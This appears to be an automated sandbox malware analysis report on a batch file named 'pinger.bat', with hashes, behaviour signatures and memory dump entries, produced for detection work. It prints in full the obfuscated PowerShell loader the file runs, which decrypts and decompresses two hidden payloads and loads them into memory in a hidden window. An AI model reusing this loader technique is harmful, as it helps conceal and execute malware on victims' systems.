7008c81ff751ea039b0c0b3bf5c3fdf01198b8a7a645836560dfbcb1054e0b32

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
28-04-2024 03:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

pinger.bat
Size

110KB
MD5

ed3f9ae23e2900529c2389663c7a7f29
SHA1

5319adb0c33db865eee7877cf5d7a48b815bb21b
SHA256

7008c81ff751ea039b0c0b3bf5c3fdf01198b8a7a645836560dfbcb1054e0b32
SHA512

cde4f505a6afbe30be1f491c1f62c25f77ffa739e6483cd6d9ce61dd73e58a0cbdace61ba4bbdf7a4715e6caf07cfe3a1659500d10bdde26766d12b211c6b73d
SSDEEP

3072:OAm2nj93JqYoSmFCL0GSuBqcqjlKepfYb+OdNYDtN:I2nRZqYJm0L0GSNbKep6/ny

Score

7^/10

Malware Config

Signatures

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1728 cmd.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

3064 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3064 powershell.exe

pid	process
1728	cmd.exe

pid	process
3064	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3064	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1728 wrote to memory of 3064	1728	cmd.exe	powershell.exe
PID 1728 wrote to memory of 3064	1728	cmd.exe	powershell.exe
PID 1728 wrote to memory of 3064	1728	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\pinger.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XBTZHIR5Y+l/gP25W0+KqeKJL1jwl/lvB0dhdv8wotI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wd0nz582l/YYM0GAc1HU0g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $IQthO=New-Object System.IO.MemoryStream(,$param_var); $dcIoB=New-Object System.IO.MemoryStream; $meuxb=New-Object System.IO.Compression.GZipStream($IQthO, [IO.Compression.CompressionMode]::Decompress); $meuxb.CopyTo($dcIoB); $meuxb.Dispose(); $IQthO.Dispose(); $dcIoB.Dispose(); $dcIoB.ToArray();}function execute_function($param_var,$param2_var){ $vhmTd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $JYzUH=$vhmTd.EntryPoint; $JYzUH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\pinger.bat';$Tcunq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\pinger.bat').Split([Environment]::NewLine);foreach ($FSspx in $Tcunq) { if ($FSspx.StartsWith(':: ')) { $MJksV=$FSspx.Substring(3); break; }}$payloads_var=[string[]]$MJksV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3064

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3064-4-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/3064-10-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/3064-9-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/3064-8-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download
memory/3064-7-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/3064-6-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download
memory/3064-5-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/3064-11-0x0000000002940000-0x00000000029C0000-memory.dmp

Filesize
512KB

Download
memory/3064-12-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Filesize
9.6MB

Download